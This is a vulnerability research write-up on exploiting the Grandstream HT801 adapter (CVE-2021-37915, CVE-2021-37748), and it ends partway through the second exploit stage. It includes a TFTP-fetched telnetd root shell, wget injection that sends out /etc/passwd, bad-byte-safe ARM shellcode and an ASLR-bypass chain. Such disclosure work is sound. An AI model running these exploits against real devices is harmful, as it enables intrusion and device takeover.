Exploiting Grandstream HT801 ATA (CVE-2021-37748, CVE-2021-37915)

Post Image - Grandstream's HT801 Analog Telephone Adapter.png

This article describes the identification and exploitation of two authenticated remote code execution vulnerabilities that we found during a time-bounded security assessment of the Grandstream’s HT801 Analog Telephone Adapter. Both vulnerabilities are exploitable via the limited configuration shell which is accessible over SSH/Telnet. These and other less critical findings were addressed by Grandstream with the release of the firmware version

CVE-2021-37915: Authenticated Remote Code Execution via debugging functionality during the startup of the device

CVE-2021-37748: Authenticated stack based buffer overflow in the "manage_if" configuration parameter handling

Device details can be found here.

Firmware unpacking

To follow the article please get a copy of a firmware file here. The firmware blob is encrypted, however, due to the great work done by BigNerd95 we can easily extract it. The static AES key used for encryption, is being reused across the line of devices.

We are working inside an Ubuntu 20.04.2 LTS vm:

$ mkdir workspace && cd workspace
$ export WS=$(pwd)

Download & unzip the firmware:

$ echo "check_certificate = off" >> ~/.wgetrc
$ wget https://firmware.grandstream.com/Release_HT801_1.0.27.2.zip
$ unzip Release_HT801_1.0.27.2.zip

Clone the extraction tool:

$ git clone https://github.com/BigNerd95/Grandstream-Firmware-HT802
$ cd Grandstream-Firmware-HT802/FirmwarePatcher/

Extract the firmware:

$ ./GSFW.py extract -i $WS/Release_HT801_1.0.27.2/ht801fw.bin -d extracted -k 37d6ae8bc920374649426438bde35493
** Firmware Extract **
Used key: 37d6ae8bc920374649426438bde35493
Extracting files:
	 extracted/ht801boot.bin 	version: 	size: 245760 bytes
		Head key: 738d0cb8bc02736494244683fb5e4539
		Body key: 000bf38b07e5031d1034fd2000010000

	 extracted/ht801core.bin 	version: 	size: 1269760 bytes
		Head key: 738d0cb8bc02736494244683fb5e4539
		Body key: 000c177807e5031d1034fd2000010000

	 extracted/ht801base.bin 	version: 	size: 2887680 bytes
		Head key: 738d0cb8bc02736494244683fb5e4539
		Body key: 000db73d07e5031d1034fd2000010000

	 extracted/ht801prog.bin 	version: 	size: 3260416 bytes
		Head key: 738d0cb8bc02736494244683fb5e4539
		Body key: 000ea99a07e5031d1034fd2000010000

In particular, we are interested in the "ht801base.bin" and "ht801prog.bin" files. The first one contains the root file system of the underlying Linux OS and the second one contains additional software. Both files can be easily extracted using the binwalk tool.

Device Administration via Limited Shell

By default, the device exposes web and ssh services for administration. Default credentials for both services are "admin:admin". Additionally, a Telnet service can be enabled via the web interface.

The "CONFIG>" submenu allows us to set device parameters which in turn are saved to the device's nvram. All of the functionality is implemented in the /sbin/gs_config binary.

GS> help
Supported commands:
    config  -- Configure the device
    status  -- Show device status
    upgrade -- Upgrade the device
    reboot  -- Reboot the device
    reset 0  -- Factory   reset
    reset 1  -- ISP  Data reset
    reset 2  -- VOIP Data reset
    help    -- Show this help text
    exit    -- Exit this command shell
GS> config
CONFIG> help
Supported commands:
    set name value   -- Set a variable
    set ip dhcp      -- Set WAN DHCP mode
    set ip address   -- Set WAN IP address
    set netmask mask -- Set WAN network mask
    set gw address   -- Set WAN default gateway
    set mac address  -- Set WAN MAC address
    get name         -- Get a variable
    get ip           -- Get WAN IP setting
    get netmask      -- Get WAN network mask setting
    get gw           -- Get WAN default gateway setting
    unset name       -- Unset a variable
    commit           -- Commit the changes to FLASH
    security         -- Write security table or verify
    help             -- Show this help text
    exit             -- Exit this command shell


There are multiple shell scripts inside the /bin folder which are executed upon boot. One of them is the "ht_start.sh" script. It contains the following snippet:

 2# Start gs_ata
 4if [ ! -z "`nvram get gdb_debug_server`" ]; then
 5    GDB_SERVER_IP=`nvram get gdb_debug_server`
 6    GDB_SERVER_PORT=9876
 7    cd /tmp/
 8    tftp -g -r gdbserver ${GDB_SERVER_IP}
 9    if [ -f ./gdbserver ]; then
10        chmod +x gdbserver
11        echo "Starting gs_ata with GDB support @ ${GDB_SERVER_IP}:${GDB_SERVER_PORT}"
12        ./gdbserver ${GDB_SERVER_IP}:${GDB_SERVER_PORT} /app/bin/gs_ata &
13    fi
15    echo "Starting gs_ata..."
16    /app/bin/gs_ata &
17    echo $! > /var/run/gs_ata.pid

Essentially, if a "gdb_debug_server" value is set (4), the script tries to download a "gdbserver" file from the specified host via TFTP (8) and executes it (13). By setting the value to an IP address of a malicious TFTP server and then rebooting the device - we can gain Remote Code Execution (RCE) as root upon device boot.

On our box we have to setup a TFTP server and create a file:

$ cat /srv/tftp/gdbserver
telnetd -l /bin/ash -p 9999 &

After making sure that our TFTP server is up and running, we can proceed to activate the hidden setting on the device and reboot it:

$ ssh admin@
Grandstream HT801 Command Shell Copyright 2006-2021
admin@'s password: 
GS> config
CONFIG> set gdb_debug_server
gdb_debug_server =
CONFIG> commit
Changes are commited.
CONFIG> get gdb_debug_server
gdb_debug_server =
CONFIG> exit
GS> reboot

Upon the booting process, the device will fetch and execute the "gdbserver" script hosted on our TFTP server. A root shell is then waiting on port 9999:

$ telnet 9999
Connected to
Escape character is '^]'.
# uname -nrsm
Linux HT8XX 3.4.20-rt31-dvf-v1.2.6.1-rc2 armv5tejl

Another similar bug lurks in the "gs_test_suite.sh" file:

 6TEST_SERVER=`nvram get gs_test_server`
 9if [ ! -d /${TEST_DIR} ]; then
10        mkdir /${TEST_DIR}
13cd /${TEST_DIR}
15wget -q -t 2 -T 5 http://${TEST_SERVER}:${TEST_SERVER_PORT}/${TEST_SCRIPT} 
16if [ "$?" = "0" ]; then
17    echo "Finished downloading ${TEST_SCRIPT} from http://${TEST_SERVER}:${TEST_SERVER_PORT}"
18    chmod +x ${TEST_SCRIPT}
19    echo "Starting GS Test Suite..."
20    ./${TEST_SCRIPT} http
22    echo "ERROR downloading ${TEST_SCRIPT} from http://${TEST_SERVER}:${TEST_SERVER_PORT}"
23    echo "Falling back to TFTP server..."
24    tftp -g -r ${TEST_SCRIPT} ${TEST_SERVER}
25    if [ "$?" = "0" ]; then
26        echo "Finished downloading ${TEST_SCRIPT} from TFTP ${TEST_SERVER}"
27        chmod +x ${TEST_SCRIPT}
28        echo "Starting GS Test Suite..."
29        ./${TEST_SCRIPT} tftp
30    else
31        echo "Failed to download ${TEST_SCRIPT} via HTTP or TFTP check test server ip address"
32    fi
35cd ${CUR_DIR}

Here, by setting the "gs_test_server" parameter (6) we can inject into the "wget" command (15), which would allow us to read and write arbitrary files. The injection is as follows:

set gs_test_server (webserver address)(space)(injection)(space)

The space at the end is important. Otherwise, our command would be concatenated with the "TEST_SERVER_PORT" variable.

Extract any file from the OS:

CONFIG> set gs_test_server --post-file=/etc/passwd

Overwrite/Create any file on the OS:

CONFIG> set gs_test_server -e output_document=/tmp/boom 

CONFIG> set gs_test_server -O /tmp/boom

Most of the important parts of the OS are mounted read-only. One way to achieve command execution is by overwriting the "/tmp/config/rc.conf file", which is used by several scripts upon boot.

We can obtain the original "rc.conf" file from the extracted firmware and prepend one command that will spawn the Telnet server:

$ head -n 5 rc.conf 
telnetd -l /bin/ash -p 1337 &

export conf_sourced=1

export hostname="HT8XX"

The next step is to set the variable to point to our webserver and reboot the device. The injected wget flag will force-save our file.

CONFIG> set gs_test_server -O /tmp/config/rc.conf 
CONFIG> commit
CONFIG> reboot

After reboot, the root shell is available on port 1337:

$ telnet 1337
Connected to
Escape character is '^]'.
# busybox id
uid=0(root) gid=0(root)


A stack-based overflow affecting the handling of the "manage_if" config parameter allows an authenticated attacker to break out of the limited configuration interface and get a root shell on the device.


We started with the static analysis of the gs_config binary, which implements the limited configuration shell. It provides an authenticated user with a quick text-based interface available over SSH (and optionally Telnet). For fun, we will communicate with the device over Telnet.

When it comes to the IOT world, the probability of finding old-school bugs is always an option. We hunted for the obvious candidates, such as strcpy() - and indeed, we identified multiple instances. The most promising one turned out to be at 0xB3A4:


When a user types the "status" command from the initial menu - among other things a value for the "Management Interface" called "manage_if" is retrieved from nvram via the "nvram_get" function and is placed into a local buffer via strcpy(). The interface value is later used for resolving and displaying the "Management IPv4 Address". By placing a large string via the "set manage_if VALUE" command and executing a "status" command we can overflow the stack buffer and overwrite important values on the stack, i.e. the saved return address of the local function, thereby taking control of the execution flow.

Control over PC

The pointer to the buffer returned by "nvram_get" at 0xB394 (value of the "manage_if" setting pulled from the nvram) will be stored in the R0 register. Then, the address from R0 is being copied into the R1 register - this is the second argument for strcpy() - our controlled data (src). The R0 register is then being set to a local buffer stored on the stack (dest):

0xb394    bl     #nvram_get@plt <nvram_get@plt>
   0xb398    mov    r1, r0
   0xb39c    add    r0, sp, #0x7b0
   0xb3a0    add    r0, r0, #0xc
 ► 0xb3a4    bl     #strcpy@plt <strcpy@plt>
        dest: 0xcee69bf4 ◂— 9 /* '\t' */           # stack
        src: 0xc6d3b0a9                            # nvram

The strcpy() function does not perform bounds checking, therefore, we are able to overflow with the "trusted" data returned from the nvram.

Further down the path, another interesting thing happens. The prologue of the 0x984C sub-routine will push the LR (0xB3C0) to the stack. The stack address pointing to the beginning of our payload is being passed (among others) as the argument for the 0x984C sub-routine:


The 0x984C sub-routine:


The R7 register holds the pointer to our data (source), and the current stack pointer is being used as the destination for the strcpy() function at 0x9880, thus overflowing the stack. When the ioctl() system call at 0x9890 fails, the branch to the close() function at 0x98E0 is done, and the sub-routine will attempt to return:


Next, the sub-routine is going to its epilogue at 0x9938:


It restores the values from the overflowed stack, thus, popping our data into the respective registers:

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x0       
$r1  : 0x00008915  →  0x80000000
$r2  : 0xffffffff
$r3  : 0x10      
$r4  : 0x8       
$r5  : 0xcecf6bc8  →  0x00000000
$r6  : 0xcecf6c04  →  "AAAAAAAAAAAAAAAAAAAABBBB"
$r7  : 0xffffffff
$r8  : 0x0       
$r9  : 0x0       
$r10 : 0x00016170  →  0x00000000
$r11 : 0x0       
$r12 : 0xffffffff
$sp  : 0xcecf6414  →  "AAAAAAAAAAAAAAAABBBB"
$lr  : 0x000098e8  →   b 0x9934
$pc  : 0x0000993c  →   pop {r4,  r5,  r6,  r7,  pc}
$cpsr: [negative zero carry overflow interrupt fast thumb]
──────────────────────────────────────────────────────────────────────────────── stack ────
0xcecf6414│+0x0000: "AAAAAAAAAAAAAAAABBBB"	 ← $sp
0xcecf6418│+0x0004: "AAAAAAAAAAAABBBB"
0xcecf641c│+0x0008: "AAAAAAAABBBB"
0xcecf6420│+0x000c: "AAAABBBB"
0xcecf6424│+0x0010: "BBBB"
0xcecf6428│+0x0014: 0x00000000
0xcecf642c│+0x0018: 0x00000000
0xcecf6430│+0x001c: 0x00000000
───────────────────────────────────────────────────────────────────────── code:arm:ARM ────
       0x9930                  b      0x9938
       0x9934                  mov    r0,  #0
       0x9938                  add    sp,  sp,  #36	; 0x24
 →     0x993c                  pop    {r4,  r5,  r6,  r7,  pc}
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "gs_config", stopped, reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x993c → pop {r4,  r5,  r6,  r7,  pc}

Exploit development

By abusing the aforementioned CVE-2021-37915 we can get root shell access to the device and set up a remote debugging environment for dynamic analysis and exploit development purposes. This approach will simplify the process, as we don't need to handle often complicated emulation dependencies and we can work on the actual hardware.

The following payload overwrites registers R4-R7 with AAAA's and the PC (program counter) with BBBB's:

$ python -c 'print(b"set manage_if " + b"A"*52+b"BBBB")' 

Steps to reproduce the crash from within the configuration shell:

GS> config
CONFIG> commit
Changes are commited.
CONFIG> exit
GS> status
Product Model: HT801
MAC Address: c0:74:ad:36:74:ee

Result in GDB:

pwndbg> set arch arm
pwndbg> target extended-remote
pwndbg> attach 3351
pwndbg> c

Program received signal SIGSEGV, Segmentation fault.
0x42424240 in ?? ()
────────────────────────[ REGISTERS ]──────────────────────────
 R0   0x0
*R1   0x8915 ◂— andhi  r0, r0, r0
*R2   0xffffffff
*R3   0x10
*R4   0x41414141 ('AAAA')
*R5   0x41414141 ('AAAA')
*R6   0x41414141 ('AAAA')
*R7   0x41414141 ('AAAA')
*R8   0x0
 R9   0x0
*R10  0x16170 ◂— 0x0
*R11  0x0
*R12  0xffffffff
*SP   0xcee0d428 ◂— 0x0
*PC   0x42424240 ('@BBB')
────────────────────────[ DISASM ]──────────────────────────────
Invalid address 0x42424240

Long live Return-to-Zero-Protection

What is interesting is ASLR on the device is configured as follows:

# cat /proc/sys/kernel/randomize_va_space 

From the Kernel documentation we can read that:

0 - Turn the process address space randomization off. This is the default for architectures that do not support this feature anyways, and kernels that are booted with the "norandmaps" parameter.

1 - Make the addresses of mmap base, stack and VDSO page randomized. This, among other things, implies that shared libraries will be loaded to random addresses.  Also for PIE-linked binaries, the location of code start is randomized. This is the default if the CONFIG_COMPAT_BRK option is enabled.

2 - Additionally enable heap randomization. This is the default if CONFIG_COMPAT_BRK is disabled.

We can confirm how it affects randomization on the device:

# for i in `seq 1 5`; do ldd /bin/ls | grep /libc.so; done
        libc.so.0 => /lib/libc.so.0 (0xc6e7c000)
        libc.so.0 => /lib/libc.so.0 (0xc6f10000)
        libc.so.0 => /lib/libc.so.0 (0xc6f45000)
        libc.so.0 => /lib/libc.so.0 (0xc6f3d000)
        libc.so.0 => /lib/libc.so.0 (0xc6ea9000)

# for i in `seq 1 5`; do grep heap /proc/self/maps; done
0007a000-0007b000 rwxp 00000000 00:00 0          [heap]
0007a000-0007b000 rwxp 00000000 00:00 0          [heap]
0007a000-0007b000 rwxp 00000000 00:00 0          [heap]
0007a000-0007b000 rwxp 00000000 00:00 0          [heap]
0007a000-0007b000 rwxp 00000000 00:00 0          [heap]

Shared libraries are correctly loaded at random addresses, however, the heap is at a static address. We can confirm this by enforcing heap randomization:

# echo 2 > /proc/sys/kernel/randomize_va_space 
# for i in `seq 1 5`; do grep heap /proc/self/maps; done
00d82000-00d83000 rwxp 00000000 00:00 0          [heap]
000e4000-000e5000 rwxp 00000000 00:00 0          [heap]
0079f000-007a0000 rwxp 00000000 00:00 0          [heap]
01fd0000-01fd1000 rwxp 00000000 00:00 0          [heap]
00a18000-00a19000 rwxp 00000000 00:00 0          [heap]

Knowing that the heap is not randomized, we have been looking for a way to utilize it for our purposes. The obvious choice is to look for the cross-references to the malloc() function, which lead to a set of imported functions from the libnvram.so shared library. The most interesting ones are nvram_get,nvram_set and nvram_commit. They're responsible for the device's nvram read/write operations.

$ readelf -ds gs_config | grep nvram                                 
 0x00000001 (NEEDED)                     Shared library: [libnvram.so]
    10: 00009080     0 FUNC    GLOBAL DEFAULT  UND nvram_erase_all
    19: 00009194     0 FUNC    GLOBAL DEFAULT  UND nvram_commit_sync
    37: 0000917c     0 FUNC    GLOBAL DEFAULT  UND nvram_commit
    44: 000093b0     0 FUNC    GLOBAL DEFAULT  UND nvram_get
    47: 000090d4     0 FUNC    GLOBAL DEFAULT  UND nvram_set
    54: 000092c0     0 FUNC    GLOBAL DEFAULT  UND nvram_erase_not_list
    59: 00009158     0 FUNC    GLOBAL DEFAULT  UND nvram_check_password
    60: 000091f4     0 FUNC    GLOBAL DEFAULT  UND nvram_erase_list
    75: 00009218     0 FUNC    GLOBAL DEFAULT  UND nvram_unset

During the analysis of the libnvram.so shared library, we've noticed that if the length of the configuration setting plus its value is larger than 100 bytes (hex 0x64), the nvram_set wrapper is going to call malloc(), and thus will request the memory from the heap.


The following configuration shell command will force the program to allocate our controlled data at the static address on the heap:


Let's confirm in GDB:

gef➤  search-pattern "AAAAAAAAAAAAAAAAAA"
[+] Searching 'AAAAAAAAAAAAAAAAAA' in memory
[+] In '[heap]'(0x16000-0x17000), permission=rwx
  0x1605a - 0x1606d  →   "AAAAAAAAAAAAAAAAAAA"

We can defeat ASLR by storing our payload in the known, static rwx heap location, then overflow and redirect the program flow to it. This basically renders it as the Return-to-Zero-Protection scenario.

Size and Bad Bytes Limitations

When trying to exploit a buffer overflow vulnerability it is important to identify the limitations of the shellcode that we can use. These are the questions that we need to answer before a reliable exploit can be created:

By sending a sizeable payload, we can observe how many bytes arrive and are placed on the heap. This should tell us the maximum size of the consecutive bytes that we are working with.

Trying all possible bytes (0-255), one by one, allows us to deduce the bad ones that we should avoid in our final payload:

 1from pwn import *
 4context.log_level = 'error'
 9avoid = []
11def login():
12    p = remote(IP,23)
13    p.sendlineafter('Password: ',PASS)
14    p.sendlineafter('GS> ','config')
15    return p
17def fuzz(byte):
18    p = login()
19    try:
20     p.sendlineafter('CONFIG> ',b'set manage_if A-'+byte+b'-B')
21     p.sendlineafter('CONFIG> ',b'get manage_if')
22     p.recv()
23     if not b'A-'+byte+b'-B' in p.recv() or not p.recv():
24         #print("Bad: ",repr(byte))
25         avoid.append(byte)
26    except:
27     pass
28    p.close()
31for i in range(0,256):
32    fuzz(x(i))

Bytes that cannot be stored in the "manage_if" setting:

$ python ht-fuzz.py
[b'\x00', b'\x04', b'\t', b'\n', b'\r', b'\x11', b'\x12', b'\x13', b'\x15', b'\x16', b'\x17', b'\x1a', b'\x1c', b'\x7f', b'\xca', b'\xff']

The limitation of the 0xFF byte is important, because it does not allow us to easily switch to Thumb mode via BX/BLX instructions, as those instructions will always contain the 0xFF byte in the opcode:

>>> from pwn import *
>>> context.arch='arm'
>>> asm('bx r4;') 
>>> asm('blx r4;')

Our exploit is communicating with the device via the Telnet protocol. What is interesting and can be easily overlooked, is the fact that the 0xFF byte (255 decimal) is the IAC (Interpret As Command) byte which signals that the next byte is a Telnet command. Therefore, a 0xFF byte in our shellcode will not be interpreted as data but, along with the following byte, will be interpreted as a Telnet command. If we look at the RFC for the Telnet protocol, we can find a simple solution to this problem:

All TELNET commands consist of at least a two byte sequence: the "Interpret as Command" (IAC) escape character followed by the code for the command. The commands dealing with option negotiation are three byte sequences, the third byte being the code for the option referenced. This format was chosen so that as more comprehensive use of the "data space" is made -- by negotiations from the basic NVT, of course -- collisions of data bytes with reserved command values will be minimized, all such collisions requiring the inconvenience, and inefficiency, of "escaping" the data bytes into the stream. With the current set-up, only the IAC need be doubled to be sent as data, and the other 255 codes may be passed transparently.

To successfully sneak the 0xFF byte as data we have to double it:

>>> asm('bx r4').replace(b'\xff',b'\xff\xff')

First exploitation path

The ARM processor can execute in 32-bit and 16-bit modes named ARM and Thumb respectively. To reduce the size and avoid NULL bytes, most of the shellcodes switch to 2-byte Thumb mode.

Knowing the available space on the heap and the subset of bad bytes, we can craft new or adjust existing shellcode for our target CPU.

Here is the 30-bytes long ARM rev5 shellcode that we can tailor for our purposes:

8054:   e28f3001    add r3, pc, #1  ; 0x1
8058:   e12fff13    bx  r3
805c:   4678        mov r0, pc
805e:   300a        adds    r0, #10
8060:   9001        str r0, [sp, #4]
8062:   a901        add r1, sp, #4
8064:   1a92        subs    r2, r2, r2
8066:   270b        movs    r7, #11
8068:   df01        svc 1
806a:   2f2f        cmp r7, #47
806c:   6962        ldr r2, [r4, #20]
806e:   2f6e        cmp r7, #110
8070:   6873        ldr r3, [r6, #4]

The above shellcode produces a set of bad bytes. We can fix that by swapping the unwanted instructions as follows:

>>> from pwn import *
>>> context.arch='arm'

# original instruction from the shellcode
>>> asm('add r3,pc,#1').hex()
# we use r4 to avoid bad byte on the following branch instruction
>>> asm('add r4,pc,#1').hex()
# branch instruction producing bad byte: 0x13 
>>> asm('bx r3').hex()
# we use the r4 register instead and we double patch the Telnet's IAC 0xff byte
>>> asm('bx r4').replace(b'\xff',b'\xff\xff').hex()

# switch CPU context
>>> context.arch='thumb'
# decimal 10 will produce the bad byte: 0x0a
>>> asm('adds r0, #10').hex()
# we can securely change it to 0x0b 
>>> asm('adds r0, #11').hex()
# subs instruction producing bad byte: 0x1a
>>> asm('subs r2, r2, r2').hex()
# we swap it to the XOR instrution
>>> asm('eors r2, r2, r2').hex()

After the adjustments, we can produce a small, bad-byte safe shellcode that will spawn a shell on our target device over Telnet:

# ARM926EJ-S rev 5 (v5l) 
# execve("/bin/sh","/bin/sh",0)
sc = b''
sc += asm('add r4,pc,#1')
# Double byte patch (Telnet 0xff IAC byte patch), switch to Thumb
sc += asm('bx r4').replace(b'\xff',b'\xff\xff') 

# Switch CPU context

sc += asm("""
mov r0, pc;
adds r0,#11;
str r0,[sp,#4];
add r1,sp,#4;
eors r2,r2,r2;
movs r7,#11;
svc 1;
cmp r7,#47;
ldr r2,[r4,#20];
cmp r7,#110;
ldr r3,[r6,#4]

In the first payload we are going to request more than 100 bytes and place our shellcode in the known, static address on the heap. We are not going to trigger the vulnerablity yet, we're just abusing the functionality to store our data.

payload = b'A'*134 + sc

We can verify that our shellcode is indeed intact and at the static address on the heap:

gef➤  x/2i 0x16098
   0x16098:	add	r4, pc, #1
   0x1609c:	bx	r4

The rest of the opcodes starts at 0x160a0, however, we are dealing with 2-byte aligned Thumb instructions, hence +1 is added to the address:

gef➤  x/11i 0x160a1
   0x160a1:	mov	r0, pc
   0x160a3:	adds	r0, #11
   0x160a5:	str	r0, [sp, #4]
   0x160a7:	add	r1, sp, #4
   0x160a9:	eors	r2, r2
   0x160ab:	movs	r7, #11
   0x160ad:	svc	1
   0x160af:	cmp	r7, #47	; 0x2f
   0x160b1:	ldr	r2, [r4, #20]
   0x160b3:	cmp	r7, #110	; 0x6e
   0x160b5:	ldr	r3, [r6, #4]

The second payload will be shorter and will overwrite the return value on the stack with the precise address of our stored payload. To trigger the vulnerability we will exit the config sub-routine and run the "status" command from the main menu, as described in the previous sections. The program flow continues and hits our shellcode, which spawns the root shell.

Another exploitation strategy

Rather than trying to exploit the program in one shot by using the execve shellcode on the rwx heap, we can also use a strategy that is quite common in Capture The Flag (CTF) exploitation challenges. If the binary runs in an ASLR enabled environment, then this two-step process can be used whenever possible:

A way to move arbitrary values to registers

When trying to call any function in ARM architecture the arguments are passed in the registers R0, R1, R2, and R3. If there's a function that takes more than 4 arguments then the stack is utilized starting with the 5th argument. So, in the most common cases of exploit development on the Linux OS we will be utilizing single argument functions such as puts() and system() and we will need to load an arbitrary address into R0.

Even though the registers on 32bit ARM architecture are 4 bytes, the MOV instruction for immediate values has a limitation:

MOV{cond} Rd, #imm16

imm16 is any value in the range 0-65535.

Also, using the R0 register will produce 0x00 (a bad byte) in the opcode:

>>> from pwn import *
>>> context.arch = 'arm'
>>> asm('mov r0, 1')

We can avoid that by utilizing a different register such as R6 and finding a way to move the result back to R0 afterwards:

>>> asm('mov r6, 1')

We can load arbitrary 4 byte values into R6 byte-by-byte and shift the result to the left by 8 bits as such:

mov r6, #0x1            ; R6 == 0x00000001
mov r6, r6, LSL #8      ; R6 == 0x00000100  
add R6, R6, #0x58       ; R6 == 0x00000158
mov r6, r6, LSL #8      ; R6 == 0x00015800
add R6, R6, #0x9c       ; R6 == 0x0001589c

In this example we have loaded R6 with the address of puts@GOT, which is 0x1589c:

>>> e = ELF("./gs_config",checksec=False)
>>> hex(e.got.puts)

The most obvious way of moving the R6 value to R0 has the dreaded 0x00 byte:

>>> asm('mov r0, r6')

We can try adding a benign shift/rotate operation to change the opcodes, however, using a "0" constant changes nothing:

>>> asm('mov r0, r6, ror 0')

Fortunately, at the time of the crash we have several registers with value 0 already in them. One such register is R8, which allows us to avoid bad bytes:

>>> asm('mov r0, r6, ROR r8')

So, connecting all the instructions above we have a way of moving arbitrary values into the R0 register while avoiding bad bytes.

This piece of assembly will load 0x1589c (puts@GOT address) into R0:

; assuming r8==0
mov r6, #0x1            ; R6 == 0x00000001
mov r6, r6, LSL #8      ; R6 == 0x00000100  
add R6, R6, #0x58       ; R6 == 0x00000158
mov r6, r6, LSL #8      ; R6 == 0x00015800
add R6, R6, #0x9c       ; R6 == 0x0001589c
mov r0, r6, ROR r8      ; R0 == 0x0001589c

For future reference, let's call it "load_puts_got":

load_puts_got = asm("""
mov r6, #0x1; 
mov r6, r6, lsl #8; 
add r6, r6, #0x58; 
mov r6, r6, lsl #8; 
add r6, r6, #0x9c; 
mov r0, r6, ror r8

Stage 1

Stage 1 is responsible for leaking the address of a function of our choice. Having the leak we can calculate the base address in which the uClibc shared library was loaded during the runtime.

The target binary is dynamically linked and was not compiled as a Position Independent Executable (PIE), therefore, it will not randomize its instruction addresses nor memory maps upon each execution. The base address of the loaded ELF will be at 0x8000:

$ file /tmp/gs_config
/tmp/gs_config: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, 
interpreter /lib/ld-uClibc.so.0, stripped

$ pwn checksec /tmp/gs_config
[*] '/tmp/gs_config'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

Since our target binary is not PIE, the address of the puts() function in The Procedure Linkage Table (PLT) is known and static. The Procedure Linkage Table holds an entry for each external function reference. As an argument to the function, we will use the GOT address of puts() itself. The Global Offset Table (GOT) is a large table of function pointers to the actual memory location of external functions. Basically - jumping to the PLT entry for the function equals calling the function.

In short - we will call puts@plt(puts@got) to leak the current address of the uClibc's puts() from memory.

A good candidate, which allows us to continue execution without a crash after the leak, is inside the "CONFIG>" sub-routine and is located at the 0xA348 address. Straight after it, we have a branch instruction that goes back towards the start of the sub-routine. There's a small issue that we need to fix before the execution can continue after that branch instruction. Due to the overflow, we are overwriting certain registers which are used by the program to function properly.

As we can see, before the address of the branch instruction we have a function prologue:

.text:00009AC4    PUSH    {R4-R11,LR}
.text:00009AC8    LDR     R4, =stdout
.text:00009ACC    SUB     SP, SP, #0x254
.text:00009AD0    LDR     R11, =stdin
.text:00009AD4    LDR     R7, =__ctype_b
.text:00009AD8    ADD     R5, SP, #0x278+var_5C
.text:00009ADC    ADD     R1, R5, #4
.text:00009AE0    ADD     R6, SP, #0x278+var_30
.text:00009AE4    STR     R1, [SP,#0x278+var_264]

We can see that registers R4, R7 and R11 hold the stdout, __ctype_b, and stdin values which are important for further execution. Therefore, in order to continue the execution flow after the leak, we need to restore those values.

Important register fix

The aforementioned stdout, __ctype_b, and stdin values are stored at fixed addresses in the .bss segment which contains statically allocated variables that are declared but have not been assigned a value yet:

.bss:0001592C ; Segment type: Uninitialized
.bss:0001592C                 AREA .bss, DATA
.bss:0001592C                 ; ORG 0x1592C
.bss:0001592C                 EXPORT stdout
.bss:0001592C stdout          % 4                  ; DATA XREF: LOAD:000084D8↑o
.bss:0001592C                                      ; LOAD:00008748↑o ...
.bss:0001592C                                      ; Copy of shared data
.bss:00015930                 EXPORT __ctype_b
.bss:00015930 __ctype_b       % 4                  ; DATA XREF: LOAD:00008708↑o
.bss:00015930                                      ; sub_9AC4+10↑o ...
.bss:00015930                                      ; Copy of shared data
.bss:00015934                 EXPORT stdin
.bss:00015934 stdin           % 4                  ; DATA XREF: LOAD:000084C8↑o
.bss:00015934                                      ; sub_9AC4+C↑o ...
.bss:00015934                                      ; Copy of shared data

At the moment of the overflow, the R10 register holds a value which is quite close to the ones we need loaded:

pwndbg> i r
r0             0x0                 0
r1             0x8915              35093
r2             0xffffffff          4294967295
r3             0x10                16
r4             0x42424242          1111638594
r5             0x42424242          1111638594
r6             0x42424242          1111638594
r7             0x42424242          1111638594
r8             0x0                 0
r9             0x0                 0
r10            0x16170             90480
r11            0x0                 0
r12            0xffffffff          4294967295
sp             0xcecdd428          0xcecdd428
lr             0x98e8              39144
pc             0x42424240          0x42424240
cpsr           0x10                16

We can use R10 to do some simple math and load correct values into R4, R7 and R11. The following snippet will "fix" the registers (all the while avoiding the bad bytes):

sub r4, r10, #2000         ; r4 = 0x16170 - 2000 = 0x159a0 
sub r11, r4, #108          ; r11 = 0x159a0 - 108 = 0x15934 => stdin
sub r7, r4, #112           ; r7 = 0x159a0 - 112 = 0x15930 => __ctype_b
sub r4, r4, #116           ; r4 = 0x159a0 - 116 = 0x1592c => stdout

We will call it "fix_regs":

fix_regs = asm("""
sub r4,r10, #2000; 
sub r11, r4, #108; 
sub r7, r4, #112;

What is left to do, is to jump to the PLT address of the puts() function, let's call it "jmp_puts". We combine all of the above as a Stage1 shellcode:

fix_regs = asm("""
sub r4,r10, #2000; 
sub r11, r4, #108; 
sub r7, r4, #112;
load_puts_got = asm("""
mov r6, #0x1; 
mov r6, r6, lsl #8; 
add r6, r6, #0x58; 
mov r6, r6, lsl #8; 
add r6, r6, #0x9c; 
mov r0, r6, ror r8
jmp_puts = asm("""
mov r6, #0xA3; 
mov r6, r6, lsl #8; 
add r6, r6, #0x48; 
mov r1, r8; 
mov pc, r6;

Stage 2

The plan is to craft a shellcode that will load the "/bin/sh\0" string into the R0 register and call system(). Having defeated ASLR with Stage1 shellcode, we can easily calculate the required addresses. The aforementioned problem of bad bytes complicates it a bit. We cannot directly put a value into the R0 register.

The NULL terminated "/bin/sh" string is located at the 0x60eb0 offset in the uClibc and the system() function is 0x5e54c away from the uClibc base address:

>>> from pwn import *
>>> context.arch='arm'
>>> libc = ELF("libuClibc-",checksec=False)
>>> hex(next(libc.search(b'/bin/sh\0')))
>>> hex(libc.sym.system)

Other way around to quickly figure out the offsets:

$ strings -tx libuClibc- | grep /bin/sh
  60eb0 /bin/sh

$ readelf -s libuClibc- | grep __libc_system           
   855: 0005e54c   108 FUNC    GLOBAL DEFAULT    7 __libc_system

To safely sneak the calculated "/bin/sh" address stored in R6 into the R0 register, we will use the aforementioned technique and perform a right bit-shift using NULL in the R2 register. This is not going to change the value of the R6 or R0 registers, but the instruction will provide bad-byte-safe opcode:

; assuming r2 == 0
mov r0, r6, ror r2;

Having the leak, we can automate the Stage2 shellcode generation with the following snippets:

# offset = leak - libc_base
libc_base = leak - 0x32654 
system = libc_base + 0x5e54c
binsh = libc_base + 0x60eb0

q,w,e,r = unpack('4B',pack('>I',binsh))
load_binsh = asm("""
mov r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov r0, r6, ror r2;
""" % (q,w,e,r)) 

